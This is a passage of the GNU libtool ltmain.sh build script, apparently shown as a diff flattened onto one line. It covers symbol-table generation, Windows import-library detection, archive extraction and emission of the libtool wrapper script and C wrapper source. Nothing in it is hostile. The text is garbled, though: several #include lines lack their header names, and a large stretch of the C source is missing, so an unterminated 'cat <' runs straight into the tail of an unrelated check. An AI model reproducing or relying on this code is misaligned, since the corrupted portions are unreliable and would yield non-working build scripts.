$NL2SP` + for progfile in $progfiles; do + func_to_tool_file "$progfile" func_convert_file_msys_to_w32 + func_verbose "extracting global C symbols from '$func_to_tool_file_result'" + $opt_dry_run || eval "$NM $func_to_tool_file_result | $global_symbol_pipe >> '$nlist'" + done + + if test -n "$exclude_expsyms"; then + $opt_dry_run || { + eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T' + eval '$MV "$nlist"T "$nlist"' + } + fi + + if test -n "$export_symbols_regex"; then + $opt_dry_run || { + eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T' + eval '$MV "$nlist"T "$nlist"' + } + fi + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + export_symbols=$output_objdir/$outputname.exp + $opt_dry_run || { + $RM $export_symbols + eval "$SED -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"' + case $host in + *cygwin* | *mingw* | *cegcc* ) + eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' + eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"' + ;; + esac + } + else + $opt_dry_run || { + eval "$SED -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"' + eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T' + eval '$MV "$nlist"T "$nlist"' + case $host in + *cygwin* | *mingw* | *cegcc* ) + eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' + eval 'cat "$nlist" >> "$output_objdir/$outputname.def"' + ;; + esac + } + fi + fi + + for dlprefile in $dlprefiles; do + func_verbose "extracting global C symbols from '$dlprefile'" + func_basename "$dlprefile" + name=$func_basename_result + case $host in + *cygwin* | *mingw* | *cegcc* ) + # if an import library, we need to obtain dlname + if func_win32_import_lib_p "$dlprefile"; then + func_tr_sh "$dlprefile" + eval "curr_lafile=\$libfile_$func_tr_sh_result" + dlprefile_dlbasename= + if test -n "$curr_lafile" && func_lalib_p "$curr_lafile"; then + # Use subshell, to avoid clobbering current variable values + dlprefile_dlname=`source "$curr_lafile" && echo "$dlname"` + if test -n "$dlprefile_dlname"; then + func_basename "$dlprefile_dlname" + dlprefile_dlbasename=$func_basename_result + else + # no lafile. user explicitly requested -dlpreopen . + $sharedlib_from_linklib_cmd "$dlprefile" + dlprefile_dlbasename=$sharedlib_from_linklib_result + fi + fi + $opt_dry_run || { + if test -n "$dlprefile_dlbasename"; then + eval '$ECHO ": $dlprefile_dlbasename" >> "$nlist"' + else + func_warning "Could not compute DLL name from $name" + eval '$ECHO ": $name " >> "$nlist"' + fi + func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32 + eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe | + $SED -e '/I __imp/d' -e 's/I __nm_/D /;s/_nm__//' >> '$nlist'" + } + else # not an import lib + $opt_dry_run || { + eval '$ECHO ": $name " >> "$nlist"' + func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32 + eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'" + } + fi + ;; + *) + $opt_dry_run || { + eval '$ECHO ": $name " >> "$nlist"' + func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32 + eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'" + } + ;; + esac + done + + $opt_dry_run || { + # Make sure we have at least an empty file. + test -f "$nlist" || : > "$nlist" + + if test -n "$exclude_expsyms"; then + $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T + $MV "$nlist"T "$nlist" + fi + + # Try sorting and uniquifying the output. + if $GREP -v "^: " < "$nlist" | + if sort -k 3 /dev/null 2>&1; then + sort -k 3 + else + sort +2 + fi | + uniq > "$nlist"S; then + : + else + $GREP -v "^: " < "$nlist" > "$nlist"S + fi + + if test -f "$nlist"S; then + eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$my_dlsyms"' + else + echo '/* NONE */' >> "$output_objdir/$my_dlsyms" + fi + + func_show_eval '$RM "${nlist}I"' + if test -n "$global_symbol_to_import"; then + eval "$global_symbol_to_import"' < "$nlist"S > "$nlist"I' + fi + + echo >> "$output_objdir/$my_dlsyms" "\ + +/* The mapping between symbol names and symbols. */ +typedef struct { + const char *name; + void *address; +} lt_dlsymlist; +extern LT_DLSYM_CONST lt_dlsymlist +lt_${my_prefix}_LTX_preloaded_symbols[];\ +" + + if test -s "$nlist"I; then + echo >> "$output_objdir/$my_dlsyms" "\ +static void lt_syminit(void) +{ + LT_DLSYM_CONST lt_dlsymlist *symbol = lt_${my_prefix}_LTX_preloaded_symbols; + for (; symbol->name; ++symbol) + {" + $SED 's/.*/ if (STREQ (symbol->name, \"&\")) symbol->address = (void *) \&&;/' < "$nlist"I >> "$output_objdir/$my_dlsyms" + echo >> "$output_objdir/$my_dlsyms" "\ + } +}" + fi + echo >> "$output_objdir/$my_dlsyms" "\ +LT_DLSYM_CONST lt_dlsymlist +lt_${my_prefix}_LTX_preloaded_symbols[] = +{ {\"$my_originator\", (void *) 0}," + + if test -s "$nlist"I; then + echo >> "$output_objdir/$my_dlsyms" "\ + {\"@INIT@\", (void *) <_syminit}," + fi + + case $need_lib_prefix in + no) + eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$my_dlsyms" + ;; + *) + eval "$global_symbol_to_c_name_address_lib_prefix" < "$nlist" >> "$output_objdir/$my_dlsyms" + ;; + esac + echo >> "$output_objdir/$my_dlsyms" "\ + {0, (void *) 0} +}; + +/* This works around a problem in FreeBSD linker */ +#ifdef FREEBSD_WORKAROUND +static const void *lt_preloaded_setup() { + return lt_${my_prefix}_LTX_preloaded_symbols; +} +#endif + +#ifdef __cplusplus +} +#endif\ +" + } # !$opt_dry_run + + pic_flag_for_symtable= + case "$compile_command " in + *" -static "*) ;; + *) + case $host in + # compiling the symbol table file with pic_flag works around + # a FreeBSD bug that causes programs to crash when -lm is + # linked before any other PIC object. But we must not use + # pic_flag when linking with -static. The problem exists in + # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1. + *-*-freebsd2.*|*-*-freebsd3.0*|*-*-freebsdelf3.0*) + pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND" ;; + *-*-hpux*) + pic_flag_for_symtable=" $pic_flag" ;; + *) + $my_pic_p && pic_flag_for_symtable=" $pic_flag" + ;; + esac + ;; + esac + symtab_cflags= + for arg in $LTCFLAGS; do + case $arg in + -pie | -fpie | -fPIE) ;; + *) func_append symtab_cflags " $arg" ;; + esac + done + + # Now compile the dynamic symbol file. + func_show_eval '(cd $output_objdir && $LTCC$symtab_cflags -c$no_builtin_flag$pic_flag_for_symtable "$my_dlsyms")' 'exit $?' + + # Clean up the generated files. + func_show_eval '$RM "$output_objdir/$my_dlsyms" "$nlist" "${nlist}S" "${nlist}T" "${nlist}I"' + + # Transform the symbol file into the correct name. + symfileobj=$output_objdir/${my_outputname}S.$objext + case $host in + *cygwin* | *mingw* | *cegcc* ) + if test -f "$output_objdir/$my_outputname.def"; then + compile_command=`$ECHO "$compile_command" | $SED "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"` + finalize_command=`$ECHO "$finalize_command" | $SED "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"` + else + compile_command=`$ECHO "$compile_command" | $SED "s%@SYMFILE@%$symfileobj%"` + finalize_command=`$ECHO "$finalize_command" | $SED "s%@SYMFILE@%$symfileobj%"` + fi + ;; + *) + compile_command=`$ECHO "$compile_command" | $SED "s%@SYMFILE@%$symfileobj%"` + finalize_command=`$ECHO "$finalize_command" | $SED "s%@SYMFILE@%$symfileobj%"` + ;; + esac + ;; + *) + func_fatal_error "unknown suffix for '$my_dlsyms'" + ;; + esac + else + # We keep going just in case the user didn't refer to + # lt_preloaded_symbols. The linker will fail if global_symbol_pipe + # really was required. + + # Nullify the symbol file. + compile_command=`$ECHO "$compile_command" | $SED "s% @SYMFILE@%%"` + finalize_command=`$ECHO "$finalize_command" | $SED "s% @SYMFILE@%%"` + fi +} + +# func_cygming_gnu_implib_p ARG +# This predicate returns with zero status (TRUE) if +# ARG is a GNU/binutils-style import library. Returns +# with nonzero status (FALSE) otherwise. +func_cygming_gnu_implib_p () +{ + $debug_cmd + + func_to_tool_file "$1" func_convert_file_msys_to_w32 + func_cygming_gnu_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $EGREP ' (_head_[A-Za-z0-9_]+_[ad]l*|[A-Za-z0-9_]+_[ad]l*_iname)$'` + test -n "$func_cygming_gnu_implib_tmp" +} + +# func_cygming_ms_implib_p ARG +# This predicate returns with zero status (TRUE) if +# ARG is an MS-style import library. Returns +# with nonzero status (FALSE) otherwise. +func_cygming_ms_implib_p () +{ + $debug_cmd + + func_to_tool_file "$1" func_convert_file_msys_to_w32 + func_cygming_ms_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $GREP '_NULL_IMPORT_DESCRIPTOR'` + test -n "$func_cygming_ms_implib_tmp" +} + +# func_win32_libid arg +# return the library type of file 'arg' +# +# Need a lot of goo to handle *both* DLLs and import libs +# Has to be a shell function in order to 'eat' the argument +# that is supplied when $file_magic_command is called. +# Despite the name, also deal with 64 bit binaries. +func_win32_libid () +{ + $debug_cmd + + win32_libid_type=unknown + win32_fileres=`file -L $1 2>/dev/null` + case $win32_fileres in + *ar\ archive\ import\ library*) # definitely import + win32_libid_type="x86 archive import" + ;; + *ar\ archive*) # could be an import, or static + # Keep the egrep pattern in sync with the one in _LT_CHECK_MAGIC_METHOD. + if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | + $EGREP 'file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then + case $nm_interface in + "MS dumpbin") + if func_cygming_ms_implib_p "$1" || + func_cygming_gnu_implib_p "$1" + then + win32_nmres=import + else + win32_nmres= + fi + ;; + *) + func_to_tool_file "$1" func_convert_file_msys_to_w32 + win32_nmres=`eval $NM -f posix -A \"$func_to_tool_file_result\" | + $SED -n -e ' + 1,100{ + / I /{ + s|.*|import| + p + q + } + }'` + ;; + esac + case $win32_nmres in + import*) win32_libid_type="x86 archive import";; + *) win32_libid_type="x86 archive static";; + esac + fi + ;; + *DLL*) + win32_libid_type="x86 DLL" + ;; + *executable*) # but shell scripts are "executable" too... + case $win32_fileres in + *MS\ Windows\ PE\ Intel*) + win32_libid_type="x86 DLL" + ;; + esac + ;; + esac + $ECHO "$win32_libid_type" +} + +# func_cygming_dll_for_implib ARG +# +# Platform-specific function to extract the +# name of the DLL associated with the specified +# import library ARG. +# Invoked by eval'ing the libtool variable +# $sharedlib_from_linklib_cmd +# Result is available in the variable +# $sharedlib_from_linklib_result +func_cygming_dll_for_implib () +{ + $debug_cmd + + sharedlib_from_linklib_result=`$DLLTOOL --identify-strict --identify "$1"` +} + +# func_cygming_dll_for_implib_fallback_core SECTION_NAME LIBNAMEs +# +# The is the core of a fallback implementation of a +# platform-specific function to extract the name of the +# DLL associated with the specified import library LIBNAME. +# +# SECTION_NAME is either .idata$6 or .idata$7, depending +# on the platform and compiler that created the implib. +# +# Echos the name of the DLL associated with the +# specified import library. +func_cygming_dll_for_implib_fallback_core () +{ + $debug_cmd + + match_literal=`$ECHO "$1" | $SED "$sed_make_literal_regex"` + $OBJDUMP -s --section "$1" "$2" 2>/dev/null | + $SED '/^Contents of section '"$match_literal"':/{ + # Place marker at beginning of archive member dllname section + s/.*/====MARK====/ + p + d + } + # These lines can sometimes be longer than 43 characters, but + # are always uninteresting + /:[ ]*file format pe[i]\{,1\}-/d + /^In archive [^:]*:/d + # Ensure marker is printed + /^====MARK====/p + # Remove all lines with less than 43 characters + /^.\{43\}/!d + # From remaining lines, remove first 43 characters + s/^.\{43\}//' | + $SED -n ' + # Join marker and all lines until next marker into a single line + /^====MARK====/ b para + H + $ b para + b + :para + x + s/\n//g + # Remove the marker + s/^====MARK====// + # Remove trailing dots and whitespace + s/[\. \t]*$// + # Print + /./p' | + # we now have a list, one entry per line, of the stringified + # contents of the appropriate section of all members of the + # archive that possess that section. Heuristic: eliminate + # all those that have a first or second character that is + # a '.' (that is, objdump's representation of an unprintable + # character.) This should work for all archives with less than + # 0x302f exports -- but will fail for DLLs whose name actually + # begins with a literal '.' or a single character followed by + # a '.'. + # + # Of those that remain, print the first one. + $SED -e '/^\./d;/^.\./d;q' +} + +# func_cygming_dll_for_implib_fallback ARG +# Platform-specific function to extract the +# name of the DLL associated with the specified +# import library ARG. +# +# This fallback implementation is for use when $DLLTOOL +# does not support the --identify-strict option. +# Invoked by eval'ing the libtool variable +# $sharedlib_from_linklib_cmd +# Result is available in the variable +# $sharedlib_from_linklib_result +func_cygming_dll_for_implib_fallback () +{ + $debug_cmd + + if func_cygming_gnu_implib_p "$1"; then + # binutils import library + sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$7' "$1"` + elif func_cygming_ms_implib_p "$1"; then + # ms-generated import library + sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$6' "$1"` + else + # unknown + sharedlib_from_linklib_result= + fi +} + + +# func_extract_an_archive dir oldlib +func_extract_an_archive () +{ + $debug_cmd + + f_ex_an_ar_dir=$1; shift + f_ex_an_ar_oldlib=$1 + if test yes = "$lock_old_archive_extraction"; then + lockfile=$f_ex_an_ar_oldlib.lock + until $opt_dry_run || ln "$progpath" "$lockfile" 2>/dev/null; do + func_echo "Waiting for $lockfile to be removed" + sleep 2 + done + fi + func_show_eval "(cd \$f_ex_an_ar_dir && $AR x \"\$f_ex_an_ar_oldlib\")" \ + 'stat=$?; rm -f "$lockfile"; exit $stat' + if test yes = "$lock_old_archive_extraction"; then + $opt_dry_run || rm -f "$lockfile" + fi + if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then + : + else + func_fatal_error "object name conflicts in archive: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib" + fi +} + + +# func_extract_archives gentop oldlib ... +func_extract_archives () +{ + $debug_cmd + + my_gentop=$1; shift + my_oldlibs=${1+"$@"} + my_oldobjs= + my_xlib= + my_xabs= + my_xdir= + + for my_xlib in $my_oldlibs; do + # Extract the objects. + case $my_xlib in + [\\/]* | [A-Za-z]:[\\/]*) my_xabs=$my_xlib ;; + *) my_xabs=`pwd`"/$my_xlib" ;; + esac + func_basename "$my_xlib" + my_xlib=$func_basename_result + my_xlib_u=$my_xlib + while :; do + case " $extracted_archives " in + *" $my_xlib_u "*) + func_arith $extracted_serial + 1 + extracted_serial=$func_arith_result + my_xlib_u=lt$extracted_serial-$my_xlib ;; + *) break ;; + esac + done + extracted_archives="$extracted_archives $my_xlib_u" + my_xdir=$my_gentop/$my_xlib_u + + func_mkdir_p "$my_xdir" + + case $host in + *-darwin*) + func_verbose "Extracting $my_xabs" + # Do not bother doing anything if just a dry run + $opt_dry_run || { + darwin_orig_dir=`pwd` + cd $my_xdir || exit $? + darwin_archive=$my_xabs + darwin_curdir=`pwd` + func_basename "$darwin_archive" + darwin_base_archive=$func_basename_result + darwin_arches=`$LIPO -info "$darwin_archive" 2>/dev/null | $GREP Architectures 2>/dev/null || true` + if test -n "$darwin_arches"; then + darwin_arches=`$ECHO "$darwin_arches" | $SED -e 's/.*are://'` + darwin_arch= + func_verbose "$darwin_base_archive has multiple architectures $darwin_arches" + for darwin_arch in $darwin_arches; do + func_mkdir_p "unfat-$$/$darwin_base_archive-$darwin_arch" + $LIPO -thin $darwin_arch -output "unfat-$$/$darwin_base_archive-$darwin_arch/$darwin_base_archive" "$darwin_archive" + cd "unfat-$$/$darwin_base_archive-$darwin_arch" + func_extract_an_archive "`pwd`" "$darwin_base_archive" + cd "$darwin_curdir" + $RM "unfat-$$/$darwin_base_archive-$darwin_arch/$darwin_base_archive" + done # $darwin_arches + ## Okay now we've a bunch of thin objects, gotta fatten them up :) + darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print | $SED -e "$sed_basename" | sort -u` + darwin_file= + darwin_files= + for darwin_file in $darwin_filelist; do + darwin_files=`find unfat-$$ -name $darwin_file -print | sort | $NL2SP` + $LIPO -create -output "$darwin_file" $darwin_files + done # $darwin_filelist + $RM -rf unfat-$$ + cd "$darwin_orig_dir" + else + cd $darwin_orig_dir + func_extract_an_archive "$my_xdir" "$my_xabs" + fi # $darwin_arches + } # !$opt_dry_run + ;; + *) + func_extract_an_archive "$my_xdir" "$my_xabs" + ;; + esac + my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | sort | $NL2SP` + done + + func_extract_archives_result=$my_oldobjs +} + + +# func_emit_wrapper [arg=no] +# +# Emit a libtool wrapper script on stdout. +# Don't directly open a file because we may want to +# incorporate the script contents within a cygwin/mingw +# wrapper executable. Must ONLY be called from within +# func_mode_link because it depends on a number of variables +# set therein. +# +# ARG is the value that the WRAPPER_SCRIPT_BELONGS_IN_OBJDIR +# variable will take. If 'yes', then the emitted script +# will assume that the directory where it is stored is +# the $objdir directory. This is a cygwin/mingw-specific +# behavior. +func_emit_wrapper () +{ + func_emit_wrapper_arg1=${1-no} + + $ECHO "\ +#! $SHELL + +# $output - temporary wrapper script for $objdir/$outputname +# Generated by $PROGRAM (GNU $PACKAGE) $VERSION +# +# The $output program cannot be directly executed until all the libtool +# libraries that it depends on are installed. +# +# This wrapper script should never be moved out of the build directory. +# If it is, it will not operate correctly. + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +sed_quote_subst='$sed_quote_subst' + +# Be Bourne compatible +if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on \${1+\"\$@\"}, which + # is contrary to our usage. Disable this feature. + alias -g '\${1+\"\$@\"}'='\"\$@\"' + setopt NO_GLOB_SUBST +else + case \`(set -o) 2>/dev/null\` in *posix*) set -o posix;; esac +fi +BIN_SH=xpg4; export BIN_SH # for Tru64 +DUALCASE=1; export DUALCASE # for MKS sh + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +relink_command=\"$relink_command\" + +# This environment variable determines our operation mode. +if test \"\$libtool_install_magic\" = \"$magic\"; then + # install mode needs the following variables: + generated_by_libtool_version='$macro_version' + notinst_deplibs='$notinst_deplibs' +else + # When we are sourced in execute mode, \$file and \$ECHO are already set. + if test \"\$libtool_execute_magic\" != \"$magic\"; then + file=\"\$0\"" + + func_quote_arg pretty "$ECHO" + qECHO=$func_quote_arg_result + $ECHO "\ + +# A function that is used when there is no print builtin or printf. +func_fallback_echo () +{ + eval 'cat <<_LTECHO_EOF +\$1 +_LTECHO_EOF' +} + ECHO=$qECHO + fi + +# Very basic option parsing. These options are (a) specific to +# the libtool wrapper, (b) are identical between the wrapper +# /script/ and the wrapper /executable/ that is used only on +# windows platforms, and (c) all begin with the string "--lt-" +# (application programs are unlikely to have options that match +# this pattern). +# +# There are only two supported options: --lt-debug and +# --lt-dump-script. There is, deliberately, no --lt-help. +# +# The first argument to this parsing function should be the +# script's $0 value, followed by "$@". +lt_option_debug= +func_parse_lt_options () +{ + lt_script_arg0=\$0 + shift + for lt_opt + do + case \"\$lt_opt\" in + --lt-debug) lt_option_debug=1 ;; + --lt-dump-script) + lt_dump_D=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%/[^/]*$%%'\` + test \"X\$lt_dump_D\" = \"X\$lt_script_arg0\" && lt_dump_D=. + lt_dump_F=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%^.*/%%'\` + cat \"\$lt_dump_D/\$lt_dump_F\" + exit 0 + ;; + --lt-*) + \$ECHO \"Unrecognized --lt- option: '\$lt_opt'\" 1>&2 + exit 1 + ;; + esac + done + + # Print the debug banner immediately: + if test -n \"\$lt_option_debug\"; then + echo \"$outputname:$output:\$LINENO: libtool wrapper (GNU $PACKAGE) $VERSION\" 1>&2 + fi +} + +# Used when --lt-debug. Prints its arguments to stdout +# (redirection is the responsibility of the caller) +func_lt_dump_args () +{ + lt_dump_args_N=1; + for lt_arg + do + \$ECHO \"$outputname:$output:\$LINENO: newargv[\$lt_dump_args_N]: \$lt_arg\" + lt_dump_args_N=\`expr \$lt_dump_args_N + 1\` + done +} + +# Core function for launching the target application +func_exec_program_core () +{ +" + case $host in + # Backslashes separate directories on plain windows + *-*-mingw | *-*-os2* | *-cegcc*) + $ECHO "\ + if test -n \"\$lt_option_debug\"; then + \$ECHO \"$outputname:$output:\$LINENO: newargv[0]: \$progdir\\\\\$program\" 1>&2 + func_lt_dump_args \${1+\"\$@\"} 1>&2 + fi + exec \"\$progdir\\\\\$program\" \${1+\"\$@\"} +" + ;; + + *) + $ECHO "\ + if test -n \"\$lt_option_debug\"; then + \$ECHO \"$outputname:$output:\$LINENO: newargv[0]: \$progdir/\$program\" 1>&2 + func_lt_dump_args \${1+\"\$@\"} 1>&2 + fi + exec \"\$progdir/\$program\" \${1+\"\$@\"} +" + ;; + esac + $ECHO "\ + \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2 + exit 1 +} + +# A function to encapsulate launching the target application +# Strips options in the --lt-* namespace from \$@ and +# launches target application with the remaining arguments. +func_exec_program () +{ + case \" \$* \" in + *\\ --lt-*) + for lt_wr_arg + do + case \$lt_wr_arg in + --lt-*) ;; + *) set x \"\$@\" \"\$lt_wr_arg\"; shift;; + esac + shift + done ;; + esac + func_exec_program_core \${1+\"\$@\"} +} + + # Parse options + func_parse_lt_options \"\$0\" \${1+\"\$@\"} + + # Find the directory that this script lives in. + thisdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*$%%'\` + test \"x\$thisdir\" = \"x\$file\" && thisdir=. + + # Follow symbolic links until we get to the real thisdir. + file=\`ls -ld \"\$file\" | $SED -n 's/.*-> //p'\` + while test -n \"\$file\"; do + destdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*\$%%'\` + + # If there was a directory component, then change thisdir. + if test \"x\$destdir\" != \"x\$file\"; then + case \"\$destdir\" in + [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;; + *) thisdir=\"\$thisdir/\$destdir\" ;; + esac + fi + + file=\`\$ECHO \"\$file\" | $SED 's%^.*/%%'\` + file=\`ls -ld \"\$thisdir/\$file\" | $SED -n 's/.*-> //p'\` + done + + # Usually 'no', except on cygwin/mingw when embedded into + # the cwrapper. + WRAPPER_SCRIPT_BELONGS_IN_OBJDIR=$func_emit_wrapper_arg1 + if test \"\$WRAPPER_SCRIPT_BELONGS_IN_OBJDIR\" = \"yes\"; then + # special case for '.' + if test \"\$thisdir\" = \".\"; then + thisdir=\`pwd\` + fi + # remove .libs from thisdir + case \"\$thisdir\" in + *[\\\\/]$objdir ) thisdir=\`\$ECHO \"\$thisdir\" | $SED 's%[\\\\/][^\\\\/]*$%%'\` ;; + $objdir ) thisdir=. ;; + esac + fi + + # Try to get the absolute directory name. + absdir=\`cd \"\$thisdir\" && pwd\` + test -n \"\$absdir\" && thisdir=\"\$absdir\" +" + + if test yes = "$fast_install"; then + $ECHO "\ + program=lt-'$outputname'$exeext + progdir=\"\$thisdir/$objdir\" + + if test ! -f \"\$progdir/\$program\" || + { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | $SED 1q\`; \\ + test \"X\$file\" != \"X\$progdir/\$program\"; }; then + + file=\"\$\$-\$program\" + + if test ! -d \"\$progdir\"; then + $MKDIR \"\$progdir\" + else + $RM \"\$progdir/\$file\" + fi" + + $ECHO "\ + + # relink executable if necessary + if test -n \"\$relink_command\"; then + if relink_command_output=\`eval \$relink_command 2>&1\`; then : + else + \$ECHO \"\$relink_command_output\" >&2 + $RM \"\$progdir/\$file\" + exit 1 + fi + fi + + $MV \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null || + { $RM \"\$progdir/\$program\"; + $MV \"\$progdir/\$file\" \"\$progdir/\$program\"; } + $RM \"\$progdir/\$file\" + fi" + else + $ECHO "\ + program='$outputname' + progdir=\"\$thisdir/$objdir\" +" + fi + + $ECHO "\ + + if test -f \"\$progdir/\$program\"; then" + + # fixup the dll searchpath if we need to. + # + # Fix the DLL searchpath if we need to. Do this before prepending + # to shlibpath, because on Windows, both are PATH and uninstalled + # libraries must come first. + if test -n "$dllsearchpath"; then + $ECHO "\ + # Add the dll search path components to the executable PATH + PATH=$dllsearchpath:\$PATH +" + fi + + # Export our shlibpath_var if we have one. + if test yes = "$shlibpath_overrides_runpath" && test -n "$shlibpath_var" && test -n "$temp_rpath"; then + $ECHO "\ + # Add our own library path to $shlibpath_var + $shlibpath_var=\"$temp_rpath\$$shlibpath_var\" + + # Some systems cannot cope with colon-terminated $shlibpath_var + # The second colon is a workaround for a bug in BeOS R4 sed + $shlibpath_var=\`\$ECHO \"\$$shlibpath_var\" | $SED 's/::*\$//'\` + + export $shlibpath_var +" + fi + + $ECHO "\ + if test \"\$libtool_execute_magic\" != \"$magic\"; then + # Run the actual program with our arguments. + func_exec_program \${1+\"\$@\"} + fi + else + # The program doesn't exist. + \$ECHO \"\$0: error: '\$progdir/\$program' does not exist\" 1>&2 + \$ECHO \"This script is just a wrapper for \$program.\" 1>&2 + \$ECHO \"See the $PACKAGE documentation for more information.\" 1>&2 + exit 1 + fi +fi\ +" +} + + +# func_emit_cwrapperexe_src +# emit the source code for a wrapper executable on stdout +# Must ONLY be called from within func_mode_link because +# it depends on a number of variable set therein. +func_emit_cwrapperexe_src () +{ + cat < +#include +#ifdef _MSC_VER +# include +# include +# include +#else +# include +# include +# ifdef __CYGWIN__ +# include +# endif +#endif +#include +#include +#include +#include +#include +#include +#include +#include + +#define STREQ(s1, s2) (strcmp ((s1), (s2)) == 0) + +/* declarations of non-ANSI functions */ +#if defined __MINGW32__ +# ifdef __STRICT_ANSI__ +int _putenv (const char *); +# endif +#elif defined __CYGWIN__ +# ifdef __STRICT_ANSI__ +char *realpath (const char *, char *); +int putenv (char *); +int setenv (const char *, const char *, int); +# endif +/* #elif defined other_platform || defined ... */ +#endif + +/* portability defines, excluding path handling macros */ +#if defined _MSC_VER +# define setmode _setmode +# define stat _stat +# define chmod _chmod +# define getcwd _getcwd +# define putenv _putenv +# define S_IXUSR _S_IEXEC +#elif defined __MINGW32__ +# define setmode _setmode +# define stat _stat +# define chmod _chmod +# define getcwd _getcwd +# define putenv _putenv +#elif defined __CYGWIN__ +# define HAVE_SETENV +# define FOPEN_WB "wb" +/* #elif defined other platforms ... */ +#endif + +#if defined PATH_MAX +# define LT_PATHMAX PATH_MAX +#elif defined MAXPATHLEN +# define LT_PATHMAX MAXPATHLEN +#else +# define LT_PATHMAX 1024 +#endif + +#ifndef S_IXOTH +# define S_IXOTH 0 +#endif +#ifndef S_IXGRP +# define S_IXGRP 0 +#endif + +/* path handling portability macros */ +#ifndef DIR_SEPARATOR +# define DIR_SEPARATOR '/' +# define PATH_SEPARATOR ':' +#endif + +#if defined _WIN32 || defined __MSDOS__ || defined __DJGPP__ || \ + defined __OS2__ +# define HAVE_DOS_BASED_FILE_SYSTEM +# define FOPEN_WB "wb" +# ifndef DIR_SEPARATOR_2 +# define DIR_SEPARATOR_2 '\\' +# endif +# ifndef PATH_SEPARATOR_2 +# define PATH_SEPARATOR_2 ';' +# endif +#endif + +#ifndef DIR_SEPARATOR_2 +# define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) +#else /* DIR_SEPARATOR_2 */ +# define IS_DIR_SEPARATOR(ch) \ + (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) +#endif /* DIR_SEPARATOR_2 */ + +#ifndef PATH_SEPARATOR_2 +# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR) +#else /* PATH_SEPARATOR_2 */ +# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2) +#endif /* PATH_SEPARATOR_2 */ + +#ifndef FOPEN_WB +# define FOPEN_WB "w" +#endif +#ifndef _O_BINARY +# define _O_BINARY 0 +#endif + +#define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) +#define XFREE(stale) do { \ + if (stale) { free (stale); stale = 0; } \ +} while (0) + +#if defined LT_DEBUGWRAPPER +static int lt_debug = 1; +#else +static int lt_debug = 0; +#endif + +const char *program_name = "libtool-wrapper"; /* in case xstrdup fails */ + +void *xmalloc (size_t num); +char *xstrdup (const char *string); +const char *base_name (const char *name); +char *find_executable (const char *wrapper); +char *chase_symlinks (const char *pathspec); +int make_executable (const char *path); +int check_executable (const char *path); +char *strendzap (char *str, const char *pat); +void lt_debugprintf (const char *file, int line, const char *fmt, ...); +void lt_fatal (const char *file, int line, const char *message, ...); +static const char *nonnull (const char *s); +static const char *nonempty (const char *s); +void lt_setenv (const char *name, const char *value); +char *lt_extend_str (const char *orig_value, const char *add, int to_end); +void lt_update_exe_path (const char *name, const char *value); +void lt_update_lib_path (const char *name, const char *value); +char **prepare_spawn (char **argv); +void lt_dump_script (FILE *f); +EOF + + cat <= 0) + && (st.st_mode & (S_IXUSR | S_IXGRP | S_IXOTH))) + return 1; + else + return 0; +} + +int +make_executable (const char *path) +{ + int rval = 0; + struct stat st; + + lt_debugprintf (__FILE__, __LINE__, "(make_executable): %s\n", + nonempty (path)); + if ((!path) || (!*path)) + return 0; + + if (stat (path, &st) >= 0) + { + rval = chmod (path, st.st_mode | S_IXOTH | 